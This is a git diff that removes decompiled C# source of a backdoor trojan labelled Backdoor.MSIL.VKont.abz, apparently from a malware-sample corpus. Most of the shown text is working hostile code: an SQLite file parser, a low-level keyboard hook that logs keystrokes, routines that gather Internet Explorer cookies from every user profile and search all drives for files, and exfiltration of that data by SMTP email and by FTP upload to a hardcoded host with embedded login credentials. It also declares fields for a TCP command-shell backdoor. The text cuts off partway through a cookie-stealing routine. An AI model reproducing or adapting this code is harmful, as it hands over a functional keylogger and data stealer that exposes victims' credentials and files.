Conversions.ToInteger(Left1)); - object Left2 = (object) this.GVL(Conversions.ToInteger(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left1, (object) integer)), (object) 1))); - this.master_table_entries[checked (num1 + num3)].row_id = this.CVL(Conversions.ToInteger(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left1, (object) integer)), (object) 1)), Conversions.ToInteger(Left2)); - ulong startIndex = Conversions.ToULong(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left2, (object) integer)), (object) 1)); - object obj1 = (object) this.GVL(checked ((int) startIndex)); - object Left3 = RuntimeHelpers.GetObjectValue(obj1); - long num4 = this.CVL(checked ((int) startIndex), Conversions.ToInteger(obj1)); - long[] numArray = new long[5]; - int index = 0; - do - { - object obj2 = Operators.AddObject(Left3, (object) 1); - Left3 = (object) this.GVL(Conversions.ToInteger(obj2)); - numArray[index] = this.CVL(Conversions.ToInteger(obj2), Conversions.ToInteger(Left3)); - numArray[index] = numArray[index] <= 9L ? (long) this.SQLDataTypeSize[checked ((int) numArray[index])] : (!this.IsOdd(numArray[index]) ? checked ((long) Math.Round(unchecked ((double) checked (numArray[index] - 12L) / 2.0))) : checked ((long) Math.Round(unchecked ((double) checked (numArray[index] - 13L) / 2.0)))); - checked { ++index; } - } - while (index <= 4); - if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0) - this.master_table_entries[checked (num1 + num3)].item_type = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(new Decimal(startIndex), new Decimal(num4))), checked ((int) numArray[0])); - else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0) - this.master_table_entries[checked (num1 + num3)].item_type = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(new Decimal(startIndex), new Decimal(num4))), checked ((int) numArray[0])); - else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0) - this.master_table_entries[checked (num1 + num3)].item_type = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(new Decimal(startIndex), new Decimal(num4))), checked ((int) numArray[0])); - if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0) - this.master_table_entries[checked (num1 + num3)].item_name = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0]))), checked ((int) numArray[1])); - else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0) - this.master_table_entries[checked (num1 + num3)].item_name = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0]))), checked ((int) numArray[1])); - else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0) - this.master_table_entries[checked (num1 + num3)].item_name = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0]))), checked ((int) numArray[1])); - this.master_table_entries[checked (num1 + num3)].root_num = checked ((long) this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2]))), (int) numArray[3])); - if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0) - this.master_table_entries[checked (num1 + num3)].sql_statement = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2])), new Decimal(numArray[3]))), checked ((int) numArray[4])); - else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0) - this.master_table_entries[checked (num1 + num3)].sql_statement = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2])), new Decimal(numArray[3]))), checked ((int) numArray[4])); - else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0) - this.master_table_entries[checked (num1 + num3)].sql_statement = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2])), new Decimal(numArray[3]))), checked ((int) numArray[4])); - checked { ++num3; } - } - } - else - { - if (this.db_bytes[checked ((int) Offset)] != (byte) 5) - return; - int uint16 = (int) Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M)); - int num = 0; - while (num <= uint16) - { - ushort integer = checked ((ushort) this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 12M), new Decimal(num * 2))), 2)); - if (Decimal.Compare(new Decimal(Offset), 100M) == 0) - this.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger((int) integer, 4)), 1M), new Decimal((int) this.page_size)))); - else - this.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger(checked ((int) (Offset + (ulong) integer)), 4)), 1M), new Decimal((int) this.page_size)))); - checked { ++num; } - } - this.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 8M)), 4)), 1M), new Decimal((int) this.page_size)))); - } - } - - private bool ReadTableFromOffset(ulong Offset) - { - if (this.db_bytes[checked ((int) Offset)] == (byte) 13) - { - ushort uint16 = Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M)); - int num1 = 0; - if (this.table_entries != null) - { - num1 = this.table_entries.Length; - this.table_entries = (SQLiteHandler.table_entry[]) Utils.CopyArray((Array) this.table_entries, (Array) new SQLiteHandler.table_entry[checked (this.table_entries.Length + (int) uint16 + 1)]); - } - else - this.table_entries = new SQLiteHandler.table_entry[checked ((int) uint16 + 1)]; - int num2 = (int) uint16; - int num3 = 0; - while (num3 <= num2) - { - ulong integer = this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 8M), new Decimal(checked (num3 * 2)))), 2); - if (Decimal.Compare(new Decimal(Offset), 100M) != 0) - checked { integer += Offset; } - object Left1 = (object) this.GVL(checked ((int) integer)); - this.CVL(checked ((int) integer), Conversions.ToInteger(Left1)); - object Left2 = (object) this.GVL(Conversions.ToInteger(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left1, (object) integer)), (object) 1))); - this.table_entries[checked (num1 + num3)].row_id = this.CVL(Conversions.ToInteger(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left1, (object) integer)), (object) 1)), Conversions.ToInteger(Left2)); - ulong num4 = Conversions.ToULong(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left2, (object) integer)), (object) 1)); - object Right1 = (object) this.GVL(checked ((int) num4)); - object Left3 = RuntimeHelpers.GetObjectValue(Right1); - long num5 = this.CVL(checked ((int) num4), Conversions.ToInteger(Right1)); - long Left4 = Conversions.ToLong(Operators.AddObject(Operators.SubtractObject((object) num4, Right1), (object) 1)); - object Left5 = (object) 0; - SQLiteHandler.record_header_field[] arySrc; - while (Left4 < num5) - { - arySrc = (SQLiteHandler.record_header_field[]) Utils.CopyArray((Array) arySrc, (Array) new SQLiteHandler.record_header_field[checked (Conversions.ToInteger(Left5) + 1)]); - object Right2 = Operators.AddObject(Left3, (object) 1); - Left3 = (object) this.GVL(Conversions.ToInteger(Right2)); - arySrc[Conversions.ToInteger(Left5)].type = this.CVL(Conversions.ToInteger(Right2), Conversions.ToInteger(Left3)); - arySrc[Conversions.ToInteger(Left5)].size = arySrc[Conversions.ToInteger(Left5)].type <= 9L ? (long) this.SQLDataTypeSize[checked ((int) arySrc[Conversions.ToInteger(Left5)].type)] : (!this.IsOdd(arySrc[Conversions.ToInteger(Left5)].type) ? checked ((long) Math.Round(unchecked ((double) checked (arySrc[Conversions.ToInteger(Left5)].type - 12L) / 2.0))) : checked ((long) Math.Round(unchecked ((double) checked (arySrc[Conversions.ToInteger(Left5)].type - 13L) / 2.0)))); - Left4 = Conversions.ToLong(Operators.AddObject(Operators.AddObject((object) Left4, Operators.SubtractObject(Left3, Right2)), (object) 1)); - Left5 = Operators.AddObject(Left5, (object) 1); - } - this.table_entries[checked (num1 + num3)].content = new string[checked (arySrc.Length - 1 + 1)]; - int num6 = 0; - int num7 = checked (arySrc.Length - 1); - int index = 0; - while (index <= num7) - { - if (arySrc[index].type > 9L) - { - if (!this.IsOdd(arySrc[index].type)) - { - if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0) - this.table_entries[checked (num1 + num3)].content[index] = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(num4), new Decimal(num5)), new Decimal(num6))), checked ((int) arySrc[index].size)); - else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0) - this.table_entries[checked (num1 + num3)].content[index] = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(num4), new Decimal(num5)), new Decimal(num6))), checked ((int) arySrc[index].size)); - else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0) - this.table_entries[checked (num1 + num3)].content[index] = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(num4), new Decimal(num5)), new Decimal(num6))), checked ((int) arySrc[index].size)); - } - else - this.table_entries[checked (num1 + num3)].content[index] = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(num4), new Decimal(num5)), new Decimal(num6))), checked ((int) arySrc[index].size)); - } - else - this.table_entries[checked (num1 + num3)].content[index] = Conversions.ToString(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(num4), new Decimal(num5)), new Decimal(num6))), checked ((int) arySrc[index].size))); - num6 = checked ((int) ((long) num6 + arySrc[index].size)); - checked { ++index; } - } - checked { ++num3; } - } - } - else if (this.db_bytes[checked ((int) Offset)] == (byte) 5) - { - int uint16 = (int) Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M)); - int num = 0; - while (num <= uint16) - { - ushort integer = checked ((ushort) this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 12M), new Decimal(num * 2))), 2)); - this.ReadTableFromOffset(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger(checked ((int) (Offset + (ulong) integer)), 4)), 1M), new Decimal((int) this.page_size)))); - checked { ++num; } - } - this.ReadTableFromOffset(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 8M)), 4)), 1M), new Decimal((int) this.page_size)))); - } - return true; - } - - public bool ReadTable(string TableName) - { - int index1 = -1; - int length = this.master_table_entries.Length; - int index2 = 0; - while (index2 <= length) - { - if (this.master_table_entries[index2].item_name.ToLower().CompareTo(TableName.ToLower()) == 0) - { - index1 = index2; - break; - } - checked { ++index2; } - } - if (index1 == -1) - return false; - object[] objArray1 = (object[]) this.master_table_entries[index1].sql_statement.Substring(checked (this.master_table_entries[index1].sql_statement.IndexOf("(") + 1)).Split(','); - int num = checked (objArray1.Length - 1); - int index3 = 0; - while (index3 <= num) - { - objArray1[index3] = (object) Strings.LTrim(Conversions.ToString(objArray1[index3])); - object objectValue1 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objArray1[index3], (Type) null, "IndexOf", new object[1] - { - (object) " " - }, (string[]) null, (Type[]) null, (bool[]) null)); - if (Operators.ConditionalCompareObjectGreater(objectValue1, (object) 0, false)) - { - object[] objArray2 = objArray1; - int index4 = index3; - object Instance = objArray1[index3]; - object[] objArray3 = new object[2] - { - (object) 0, - RuntimeHelpers.GetObjectValue(objectValue1) - }; - object[] Arguments = objArray3; - bool[] flagArray = new bool[2]{ false, true }; - bool[] CopyBack = flagArray; - object obj = NewLateBinding.LateGet(Instance, (Type) null, "Substring", Arguments, (string[]) null, (Type[]) null, CopyBack); - if (flagArray[1]) - RuntimeHelpers.GetObjectValue(objArray3[1]); - object objectValue2 = RuntimeHelpers.GetObjectValue(obj); - objArray2[index4] = objectValue2; - } - if (!Operators.ConditionalCompareObjectEqual(NewLateBinding.LateGet(objArray1[index3], (Type) null, "IndexOf", new object[1] - { - (object) "UNIQUE" - }, (string[]) null, (Type[]) null, (bool[]) null), (object) 0, false)) - { - this.field_names = (string[]) Utils.CopyArray((Array) this.field_names, (Array) new string[checked (index3 + 1)]); - this.field_names[index3] = Conversions.ToString(objArray1[index3]); - checked { ++index3; } - } - else - break; - } - return this.ReadTableFromOffset(checked ((ulong) ((this.master_table_entries[index1].root_num - 1L) * (long) this.page_size))); - } - - public int GetRowCount() => this.table_entries.Length; - - public string GetValue(int row_num, int field) - { - if (row_num >= this.table_entries.Length) - return (string) null; - return field >= this.table_entries[row_num].content.Length ? (string) null : this.table_entries[row_num].content[field]; - } - - public string GetValue(int row_num, string field) - { - int field1 = -1; - int length = this.field_names.Length; - int index = 0; - while (index <= length) - { - if (this.field_names[index].ToLower().CompareTo(field.ToLower()) == 0) - { - field1 = index; - break; - } - checked { ++index; } - } - return field1 == -1 ? (string) null : this.GetValue(row_num, field1); - } - - public string[] GetTableNames() - { - object Left = (object) 0; - int num = checked (this.master_table_entries.Length - 1); - int index = 0; - string[] arySrc; - while (index <= num) - { - if (Operators.CompareString(this.master_table_entries[index].item_type, "table", false) == 0) - { - arySrc = (string[]) Utils.CopyArray((Array) arySrc, (Array) new string[checked (Conversions.ToInteger(Left) + 1)]); - arySrc[Conversions.ToInteger(Left)] = this.master_table_entries[index].item_name; - Left = Operators.AddObject(Left, (object) 1); - } - checked { ++index; } - } - return arySrc; - } - - public SQLiteHandler(string baseName) - { - this.SQLDataTypeSize = new byte[10] - { - (byte) 0, - (byte) 1, - (byte) 2, - (byte) 3, - (byte) 4, - (byte) 6, - (byte) 8, - (byte) 8, - (byte) 0, - (byte) 0 - }; - if (!File.Exists(baseName)) - return; - FileSystem.FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); - string s = Strings.Space(checked ((int) FileSystem.LOF(1))); - FileSystem.FileGet(1, ref s); - FileSystem.FileClose(1); - this.db_bytes = Encoding.Default.GetBytes(s); - if (Encoding.Default.GetString(this.db_bytes, 0, 15).CompareTo("SQLite format 3") != 0) - throw new Exception("Not a valid SQLite 3 Database File"); - if (this.db_bytes[52] != (byte) 0) - throw new Exception("Auto-vacuum capable database is not supported"); - if (Decimal.Compare(new Decimal(this.ConvertToInteger(44, 4)), 4M) >= 0) - throw new Exception("No supported Schema layer file-format"); - this.page_size = checked ((ushort) this.ConvertToInteger(16, 2)); - this.encoding = this.ConvertToInteger(56, 4); - if (Decimal.Compare(new Decimal(this.encoding), 0M) == 0) - this.encoding = 1UL; - this.ReadMasterTable(100UL); - } - - private struct record_header_field - { - public long size; - public long type; - } - - private struct table_entry - { - public long row_id; - public string[] content; - } - - private struct sqlite_master_entry - { - public long row_id; - public string item_type; - public string item_name; - public string astable_name; - public long root_num; - public string sql_statement; - } -} diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c/AssemblyInfo.cs b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c/Backdoor.MSIL.VKont.abz.csproj b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c/Backdoor.MSIL.VKont.abz.csproj deleted file mode 100644 index 75659e63..00000000 --- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c/Backdoor.MSIL.VKont.abz.csproj +++ /dev/null @@ -1,43 +0,0 @@ - - - - - Debug - AnyCPU - {66B96048-7725-4081-BCFA-13ADE4E2D67D} - Exe - востановление пароля - 0.0.0.0 - Troj - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c/Backdoor.MSIL.VKont.abz.sln b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c/Backdoor.MSIL.VKont.abz.sln deleted file mode 100644 index 0a78fbca..00000000 --- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c/Backdoor.MSIL.VKont.abz.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "востановление пароля", "Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c.csproj", "{66B96048-7725-4081-BCFA-13ADE4E2D67D}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {66B96048-7725-4081-BCFA-13ADE4E2D67D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {66B96048-7725-4081-BCFA-13ADE4E2D67D}.Debug|Any CPU.Build.0 = Debug|Any CPU - {66B96048-7725-4081-BCFA-13ADE4E2D67D}.Release|Any CPU.ActiveCfg = Release|Any CPU - {66B96048-7725-4081-BCFA-13ADE4E2D67D}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c/Program.cs b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c/Program.cs deleted file mode 100644 index 4c91c3eb..00000000 --- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c/Program.cs +++ /dev/null @@ -1,849 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Troj.Program -// Assembly: востановление пароля, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A3626AED-1D1A-43A6-BB7A-1A4E746B6DD2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c.exe - -using Microsoft.Win32; -using System; -using System.Diagnostics; -using System.DirectoryServices; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Net.Sockets; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace Troj -{ - public class Program - { - private const int WH_KEYBOARD_LL = 13; - private const int WM_KEYDOWN = 256; - private static int svsex; - private static int sdosta; - private static string logkey; - private static int keycount = 0; - private static Thread[] thkey; - private static Thread[] tcherez; - private static int cerezcount = 0; - private static int keyI; - private static string strbug; - private static string strbuftx; - private static string buflyb; - private static int ftpi; - private static int countGroup = 0; - private static Program.LowLevelKeyboardProc _proc = new Program.LowLevelKeyboardProc(Program.HookCallback); - private static IntPtr _hookID = IntPtr.Zero; - private static Thread th; - private static TcpClient socketForServer; - private static NetworkStream networkStream; - private static StreamWriter streamWriter; - private static StreamReader streamReader; - private static Process processCmd; - private static StringBuilder strInput; - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr SetWindowsHookEx( - int idHook, - Program.LowLevelKeyboardProc lpfn, - IntPtr hMod, - uint dwThreadId); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - [return: MarshalAs(UnmanagedType.Bool)] - private static extern bool UnhookWindowsHookEx(IntPtr hhk); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr CallNextHookEx( - IntPtr hhk, - int nCode, - IntPtr wParam, - IntPtr lParam); - - [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr GetModuleHandle(string lpModuleName); - - [DllImport("user32.dll")] - public static extern IntPtr FindWindow(string lpClassName, string lpWindowName); - - [DllImport("user32.dll")] - private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); - - private static void SearchAll( - string disk, - string n_file, - string smail, - string sftp, - string spapka) - { - DirectoryInfo directoryInfo = new DirectoryInfo(disk); - try - { - foreach (DirectoryInfo directory in directoryInfo.GetDirectories()) - { - try - { - foreach (FileSystemInfo file in directory.GetFiles(n_file, SearchOption.TopDirectoryOnly)) - Program.CherezShto(file.FullName, smail, sftp, spapka); - } - catch - { - } - Program.SearchAll(directory.FullName, n_file, smail, sftp, spapka); - } - } - catch - { - } - } - - private static IntPtr SetHook(Program.LowLevelKeyboardProc proc) - { - using (Process currentProcess = Process.GetCurrentProcess()) - { - using (ProcessModule mainModule = currentProcess.MainModule) - return Program.SetWindowsHookEx(13, proc, Program.GetModuleHandle(mainModule.ModuleName), 0U); - } - } - - private static string TimeNow() - { - DateTime now = DateTime.Now; - return now.Year.ToString() + "-" + now.Month.ToString() + "-" + now.Day.ToString() + "-" + now.Hour.ToString() + "-" + now.Minute.ToString() + "-" + now.Second.ToString(); - } - - private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) - { - Program.thkey = new Thread[128]; - if (nCode >= 0 && wParam == (IntPtr) 256) - { - int num = Marshal.ReadInt32(lParam); - if (num == 13) - { - Program.logkey += "\n"; - } - else - { - ++Program.sdosta; - ++Program.svsex; - Program.logkey = Program.logkey + (object) (Keys) num + ";"; - if (Program.sdosta == 0) - { - Program.sdosta = 0; - Program.TimeNow(); - if (Program.keycount > 120) - Program.keycount = 0; - Program.logkey = (string) null; - } - } - } - return Program.CallNextHookEx(Program._hookID, nCode, wParam, lParam); - } - - public static void SearchonDisk(string tmp_file, string smail, string sftp, string spapka) - { - try - { - foreach (string logicalDrive in Directory.GetLogicalDrives()) - Program.SearchAll(logicalDrive, tmp_file, smail, sftp, spapka); - } - catch - { - } - } - - public static bool CherezShto(string strfile, string nmail, string nftp, string pftp) - { - if (nmail == "True" || nmail == "true") - Program.Sendmailfile(strfile, "User send you message : " + strfile, "null", 0, "null", "null", "null", false); - if (nftp == "True" || nmail == "true") - Program.Upload_ftp(strfile, "troj005.aiq.ru", "u349995", "la3uw4b5", pftp); - return true; - } - - public static void CreatFileIEforXP(string smail, string sftp, string spapka) - { - if (System.IO.File.Exists("null")) - System.IO.File.Delete("null"); - try - { - string[] directories1 = Directory.GetDirectories("C:\\Documents and Settings\\"); - string[] strArray1 = new string[directories1.Length]; - for (int index1 = 0; index1 < directories1.Length; ++index1) - { - if (!(directories1[index1] == "C:\\Documents and Settings\\All Users") && !(directories1[index1] == "C:\\Documents and Settings\\LocalService") && !(directories1[index1] == "C:\\Documents and Settings\\Default User") && !(directories1[index1] == "C:\\Documents and Settings\\NetworkService")) - { - strArray1[index1] = directories1[index1].Substring(26); - string[] directories2 = Directory.GetDirectories("C:\\Documents and Settings\\" + strArray1[index1].ToString()); - string[] strArray2 = new string[directories2.Length]; - StreamReader streamReader = (StreamReader) null; - StreamWriter streamWriter = new StreamWriter("null", true, Encoding.UTF8); - for (int index2 = 0; index2 < directories2.Length; ++index2) - { - strArray2[index2] = directories2[index2].Substring(26 + strArray1[index1].Length); - if (strArray2[index2] == "\\Cookies") - { - string[] files = Directory.GetFiles("C:\\Documents and Settings\\" + strArray1[index1].ToString() + strArray2[index2].ToString(), "*.txt"); - string[] strArray3 = new string[files.Length]; - for (int index3 = 0; index3 < files.Length; ++index3) - { - strArray3[index3] = files[index3].Substring(26 + strArray1[index1].Length + strArray2[index2].Length); - string path = "C:\\Documents and Settings\\" + strArray1[index1].ToString() + strArray2[index2].ToString() + strArray3[index3].ToString(); - streamReader = new StreamReader((Stream) new FileStream(path, FileMode.Open, FileAccess.Read)); - string str = path + "\n" + streamReader.ReadToEnd(); - streamWriter.Write(str); - } - streamReader.Close(); - streamWriter.Close(); - break; - } - } - } - } - Program.CherezShto("null", smail, sftp, spapka); - } - catch - { - if (!System.IO.File.Exists("null")) - return; - Program.CherezShto("null", smail, sftp, spapka); - } - } - - public static bool Sendmailfile( - string temp, - string user, - string ssmtp, - int sport, - string smail, - string spass, - string vmail, - bool sssl) - { - Attachment attachment = new Attachment(temp, "application/octet-stream"); - bool flag; - try - { - SmtpClient smtpClient = new SmtpClient(ssmtp, sport); - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(smail, spass); - smtpClient.EnableSsl = sssl; - MailMessage message = new MailMessage(); - message.From = new MailAddress(smail); - message.To.Add(new MailAddress(vmail)); - message.Subject = user; - message.Body = user; - message.Attachments.Add(attachment); - smtpClient.Send(message); - attachment.Dispose(); - flag = true; - } - catch - { - flag = false; - attachment.Dispose(); - } - return flag; - } - - private static bool Upload_ftp( - string filename, - string ftpServerIP, - string ftpUserID, - string ftpPassword, - string papka) - { - ++Program.ftpi; - FileInfo fileInfo = new FileInfo(filename); - FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create(new Uri("ftp://" + ftpServerIP + "/" + papka + "/" + Program.TimeNow() + "-" + fileInfo.Name)); - ftpWebRequest.Proxy = (IWebProxy) null; - ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(ftpUserID, ftpPassword); - ftpWebRequest.KeepAlive = false; - ftpWebRequest.Method = "STOR"; - ftpWebRequest.UseBinary = true; - ftpWebRequest.ContentLength = fileInfo.Length; - int count1 = 2048; - byte[] buffer = new byte[count1]; - FileStream fileStream = fileInfo.OpenRead(); - try - { - Stream requestStream = ftpWebRequest.GetRequestStream(); - for (int count2 = fileStream.Read(buffer, 0, count1); count2 != 0; count2 = fileStream.Read(buffer, 0, count1)) - requestStream.Write(buffer, 0, count2); - requestStream.Close(); - fileStream.Close(); - return true; - } - catch - { - return false; - } - } - - public static void userVista( - string disk, - string n_file, - string m_send, - string smail, - string sftp, - string spapka) - { - if (m_send == "c_send") - { - try - { - string path = "C:\\Users"; - string[] directories = Directory.GetDirectories(path); - for (int index = 0; index < directories.Length; ++index) - { - try - { - if (!(directories[index] == path + "\\All Users")) - { - if (!(directories[index] == path + "\\Default")) - { - if (!(directories[index] == path + "\\Default User")) - { - if (!(directories[index] == path + "\\Public")) - Program.SearchAll(directories[index] + disk, n_file, smail, sftp, spapka); - } - } - } - } - catch - { - } - } - } - catch - { - } - } - if (!(m_send == "p_send")) - return; - Program.SearchAll(disk, n_file, smail, sftp, spapka); - } - - public static void CreatFileIEforVista(string smail, string sftp, string spapka) - { - if (System.IO.File.Exists("null")) - System.IO.File.Delete("@null"); - try - { - string path = "C:\\Users"; - string searchPattern = "*.txt"; - string[] directories = Directory.GetDirectories(path); - for (int index = 0; index < directories.Length; ++index) - { - try - { - if (!(directories[index] == path + "\\All Users")) - { - if (!(directories[index] == path + "\\Default")) - { - if (!(directories[index] == path + "\\Default User")) - { - if (!(directories[index] == path + "\\Public")) - { - foreach (string directory in Directory.GetDirectories(directories[index] + "\\AppData\\Roaming\\Microsoft\\Windows\\Cookies")) - { - try - { - DirectoryInfo directoryInfo = new DirectoryInfo(directory); - StreamReader streamReader = (StreamReader) null; - StreamWriter streamWriter = new StreamWriter("null", true, Encoding.UTF8); - foreach (FileInfo file in directoryInfo.GetFiles(searchPattern, SearchOption.TopDirectoryOnly)) - { - streamReader = new 